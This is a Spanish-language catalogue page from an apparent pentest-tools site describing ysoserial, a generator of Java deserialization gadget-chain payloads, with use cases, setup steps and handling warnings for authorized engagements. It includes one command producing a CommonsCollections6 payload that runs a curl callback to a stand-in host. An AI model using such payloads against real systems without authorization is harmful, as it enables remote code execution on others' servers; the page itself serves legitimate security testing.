Saltar al contenido
OPS // KITitspentest.sh

X-YSO

ysoserial

La herramienta de referencia para generar payloads de cadenas de gadgets de deserialización Java a partir de librerías ya presentes en el classpath del objetivo.

Sitio oficialVolver al catálogo

RESUMEN

ysoserial (github.com/frohoff/ysoserial), publicado originalmente por Chris Frohoff y Gabriel Lawrence en AppSecCali 2015, es la herramienta que puso la deserialización insegura de Java en el mapa como clase de vulnerabilidad mainstream. Al igual que phpggc para PHP, no encuentra el sink de deserialización en sí: asume que una aplicación ya llama a readObject() — o un equivalente, como Java RMI, JMX, o ciertas librerías JSON/XML en modos inseguros — sobre bytes controlados por el atacante, y genera el grafo de objetos serializado, la cadena de gadgets, que convierte esa llamada en ejecución de comandos del sistema operativo al deserializarse.

Cada payload con nombre (CommonsCollections1 a 6+, Groovy1, Spring1, Hibernate1 y decenas más) apunta a métodos mágicos disponibles en una versión específica de una librería, así que qué payload funciona realmente depende por completo de cuáles de esas librerías tiene el objetivo en su classpath — el mismo problema de huella que GadgetProbe, también en este sitio, existe para resolver antes de gastar peticiones en cadenas que nunca podrán dispararse.

CASOS DE USO

Casos de uso en un engagement

  • 01

    Generar un payload de cadena de gadgets CommonsCollections, Spring o Hibernate para un sink readObject() inseguro confirmado.

  • 02

    Demostrar impacto real de ejecución de comandos del sistema operativo a partir de un hallazgo de deserialización Java en vez de reportarlo como teórico.

  • 03

    Probar varias cadenas de gadgets en secuencia contra un classpath huellado hasta encontrar una que se dispare.

  • 04

    Generar payloads para sinks basados en Java RMI, JMX o JNDI además de streams de objetos simples.

PRIMEROS PASOS

Una vez confirmado que una app Java deserializa entrada controlada por el atacante de forma insegura, para generar el payload de cadena de gadgets que demuestra el impacto real.

  1. Confirma que el objetivo deserializa bytes controlados por el atacante de forma insegura y huella las librerías en su classpath (ver GadgetProbe).
  2. Compila ysoserial con Maven, o descarga un jar de release ya compilado.
  3. Elige el tipo de payload que coincide con una librería confirmada presente, y genéralo primero con un comando out-of-band (por ejemplo un callback DNS/HTTP) en vez de uno destructivo.
  4. Entrega el payload serializado al sink confirmado por el transporte que espere (cuerpo HTTP, llamada RMI, etc.).
  5. Confirma la ejecución vía el callback antes de escalar a un comando más invasivo.
java -jar ysoserial.jar CommonsCollections6 "curl http://oob.example/pwned" > payload.bin

ANTES DE USARLA

Qué revisar antes de lanzarla

Un payload generado es un exploit de ejecución remota de código funcional desde el instante en que se crea — manéjalo, guárdalo y transmítelo según las reglas de manejo y retención de evidencia del engagement.

Prueba con un comando no destructivo y out-of-band (callback DNS/HTTP) antes de enviar nunca un payload que ejecute un comando destructivo o persistente.

Que un payload funcione depende de las versiones exactas de las librerías y del JDK en el objetivo; un intento fallido igual puede tumbar el proceso objetivo, así que confirma que el cliente acepta ese riesgo.

SIGUE EXPLORANDO

Ver toda la fase →